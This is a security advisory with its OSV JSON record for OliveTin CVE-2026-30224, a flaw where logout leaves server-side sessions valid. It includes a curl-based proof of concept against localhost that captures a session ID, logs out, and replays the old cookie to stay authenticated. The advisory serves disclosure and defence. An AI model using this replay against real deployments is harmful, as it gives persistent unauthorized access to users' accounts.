GHSA-GQ2M-77HF-VWGH
Vulnerability from github – Published: 2026-03-05 20:53 – Updated: 2026-03-06 22:52
VLAI
Summary
OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session
Details
Summary
OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).
An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.
This is a session management flaw that violates expected logout semantics.
Details
During logout:
// Logout only clears browser cookie
response.Header().Set("Set-Cookie", localCookie.String())
However, the server still accepts the session:
session := sessionStorage.Providers[provider].Sessions[sid]
...
return session
The SID is not deleted from sessionStorage.
Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).
File: api.go, sessions.go, local.go Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior - Login → receive SID cookie - Logout → cookie cleared client-side - Replay old SID manually → still authenticated
Expected: - Logout invalidates session immediately
Actual: - Old SID remains usable until expiry
PoC
Minimal config
listenAddressSingleHTTPFrontend: 0.0.0.0:16642
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: low
usergroup: users
password: "$argon2id$..."
actions:
- title: Dummy
id: dummy
shell: "echo dummy"
Reproduction
Login and capture SID:
LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"lowpass"}')
SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')
Works before logout:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Logout:
curl -X POST http://localhost:16642/api/Logout \
-H "Cookie: olivetin-sid-local=$SID"
Replay old cookie:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Result
User is still authenticated after logout.
Impact
Type:
Session Management Flaw
- Logout Bypass
- Session Replay
Risk: - Stolen cookies remain valid - Persistent unauthorized access - Users falsely believe logout ended the session
Attack scenarios: - Shared computers - XSS/session theft - Proxy logs - Malware/browser compromise
Severity
5.4 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260304233115-d6a0abc3755d15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30224"
],
"database_specific": {
"cwe_ids": [
"CWE-384",
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T20:53:08Z",
"nvd_published_at": "2026-03-06T21:16:16Z",
"severity": "MODERATE"
},
"details": "### Summary\nOliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default \u2248 1 year).\n\nAn attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.\n\nThis is a session management flaw that violates expected logout semantics.\n\n### Details\nDuring logout:\n```\n// Logout only clears browser cookie\nresponse.Header().Set(\"Set-Cookie\", localCookie.String())\n```\nHowever, the server still accepts the session:\n```\nsession := sessionStorage.Providers[provider].Sessions[sid]\n...\nreturn session\n```\nThe SID is not deleted from sessionStorage.\n\nWhy vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).\n\nFile: [api.go](app://-/index.html?hostId=local#), [sessions.go](app://-/index.html?hostId=local#), [local.go](app://-/index.html?hostId=local#)\nLines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47\nBehavior\n- Login \u2192 receive SID cookie\n- Logout \u2192 cookie cleared client-side\n- Replay old SID manually \u2192 still authenticated\n\nExpected:\n- Logout invalidates session immediately\n\nActual:\n- Old SID remains usable until expiry\n\n### PoC\n\nMinimal config\n```\nlistenAddressSingleHTTPFrontend: 0.0.0.0:16642\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n enabled: true\n users:\n - username: low\n usergroup: users\n password: \"$argon2id$...\"\n\nactions:\n - title: Dummy\n id: dummy\n shell: \"echo dummy\"\n```\n\n### Reproduction\n\nLogin and capture SID:\n```\nLOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"low\",\"password\":\"lowpass\"}\u0027)\n\nSID=$(printf \u0027%s\\n\u0027 \"$LOGIN\" | awk -F\u0027[=;]\u0027 \u0027/olivetin-sid-local/{print $2}\u0027)\n```\nWorks before logout:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nLogout:\n```\ncurl -X POST http://localhost:16642/api/Logout \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nReplay old cookie:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nResult\n\nUser is still authenticated after logout.\n### Impact\nType:\n\nSession Management Flaw\n\n- Logout Bypass\n- Session Replay\n\nRisk:\n- Stolen cookies remain valid\n- Persistent unauthorized access\n- Users falsely believe logout ended the session\n\nAttack scenarios:\n- Shared computers\n- XSS/session theft\n- Proxy logs\n- Malware/browser compromise",
"id": "GHSA-gq2m-77hf-vwgh",
"modified": "2026-03-06T22:52:14Z",
"published": "2026-03-05T20:53:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-gq2m-77hf-vwgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30224"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/d6a0abc3755d43107be1939567c52953bcbec3d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session"
}
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Browse all ATT&CK techniques and the vulnerabilities related to each.
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